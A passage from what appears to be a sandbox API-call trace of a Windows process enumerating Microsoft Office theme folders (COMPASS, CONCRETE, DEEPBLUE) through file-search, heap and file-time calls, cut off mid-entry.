[0060.436] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4fe8 [0060.436] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0060.436] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.436] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf17d4300, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6041aaf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf17d4300, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xd613, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.ELM", cAlternateFileName="")) returned 1 [0060.436] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.436] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.436] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.436] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.436] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.436] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa50f0 [0060.436] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0060.436] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa34c8 [0060.437] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa7408 [0060.437] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.437] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.INF", cAlternateFileName="")) returned 1 [0060.437] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.437] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.437] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.437] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.437] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.437] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa34e8 [0060.437] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa7510 [0060.437] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.437] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x50d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0060.437] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.437] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.437] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.437] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.437] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.437] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa3508 [0060.437] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa7618 [0060.437] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.437] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0060.437] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.437] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.437] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.437] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.437] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.437] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa3528 [0060.437] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa7720 [0060.437] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.438] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0060.438] GetLastError () returned 0x12 [0060.438] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0060.438] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0060.438] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.438] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf17d4300, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6041aaf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf17d4300, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xd613, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.ELM", cAlternateFileName="")) returned 1 [0060.438] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.INF", cAlternateFileName="")) returned 1 [0060.438] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x50d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0060.438] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0060.438] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0060.438] GetLastError () returned 0x12 [0060.438] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4fe8) returned 1 [0060.438] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0060.438] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa50f0) returned 1 [0060.438] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0060.438] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE", cAlternateFileName="")) returned 1 [0060.438] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0060.438] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0060.439] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0060.439] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0060.439] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfa7c38 [0060.439] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfa7c38, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfa7c38, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0060.439] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa7c38) returned 1 [0060.439] NtClose (Handle=0x184) returned 0x0 [0060.439] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0060.439] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.439] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0060.439] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0060.439] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.439] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa50f0 [0060.439] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0060.439] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.439] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ae7000, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ae7000, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.ELM", cAlternateFileName="")) returned 1 [0060.439] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.439] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.439] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.439] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.439] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.440] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4fe8 [0060.440] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0060.440] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa3548 [0060.440] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa7828 [0060.440] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.440] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.INF", cAlternateFileName="")) returned 1 [0060.440] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.440] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.440] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.440] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.440] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.440] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa3568 [0060.440] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa7930 [0060.440] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.440] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x507, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0060.440] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.440] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.440] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.440] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.440] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.440] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa3588 [0060.440] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa7a38 [0060.440] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.440] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0060.440] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.440] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.440] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.440] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.440] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0060.441] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa7c50 [0060.441] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa8450 [0060.441] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0060.441] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0060.441] GetLastError () returned 0x12 [0060.441] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0060.441] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0060.441] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.441] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ae7000, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ae7000, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.ELM", cAlternateFileName="")) returned 1 [0060.441] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.INF", cAlternateFileName="")) returned 1 [0060.441] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x507, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0060.441] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0060.441] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0060.441] GetLastError () returned 0x12 [0060.441] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa50f0) returned 1 [0060.441] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0060.441] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4fe8) returned 1 [0060.441] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0060.441] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1 [0060.441] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0060.441] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, 